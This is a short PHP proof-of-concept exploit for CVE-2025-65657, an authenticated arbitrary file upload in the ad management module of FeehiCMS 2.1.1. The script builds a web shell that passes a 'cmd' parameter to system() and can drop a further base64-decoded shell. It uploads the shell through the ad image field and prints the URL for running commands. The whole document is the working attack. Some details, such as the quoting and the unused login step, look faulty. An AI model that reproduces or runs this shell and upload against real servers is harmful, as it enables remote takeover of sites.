CVE-2025-65657: FeehiCMS 2.1.1广告管理模块任意文件上传导致RCE

<?php // CVE-2025-65657 PoC - FeehiCMS 2.1.1 RCE via Ad Management File Upload // Target: FeehiCMS 2.1.1 // Module: Ad Management - Unrestricted File Upload // Authentication required - obtain valid admin credentials first $target_url = "http://target.com/index.php?r=ad/upload"; $login_url = "http://target.com/index.php?r=site/login"; // Login to get authenticated session $login_data = [ 'LoginForm[username]' => 'admin', 'LoginForm[password]' => 'password', 'LoginForm[rememberMe]' => 1 ]; // Prepare malicious PHP file for upload $poc_code = '<?php\n' . 'if(isset($_GET["cmd"])){\n' . ' echo "<pre>";\n' . ' system($_GET["cmd"]);\n' . ' echo "</pre>";\n' . '}\n' . 'if(isset($_GET["upload"])){\n' . ' file_put_contents("shell.php", base64_decode($_GET["upload"]));\n' . '}\n' . '?>"; // Create multipart form data for file upload $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(16)); $file_content = "--$boundary\r\n" . "Content-Disposition: form-data; name=\"Ad[image]\"; filename=\"shell.php\"\r\n" . "Content-Type: application/x-php\r\n\r\n" . $poc_code . "\r\n" . "--$boundary--\r\n"; // Send upload request $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: multipart/form-data; boundary=$boundary" ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Execute commands via uploaded shell echo "RCE Exploit sent. Access uploaded file to execute commands:\n"; echo "http://target.com/uploads/ad/shell.php?cmd=whoami\n"; ?>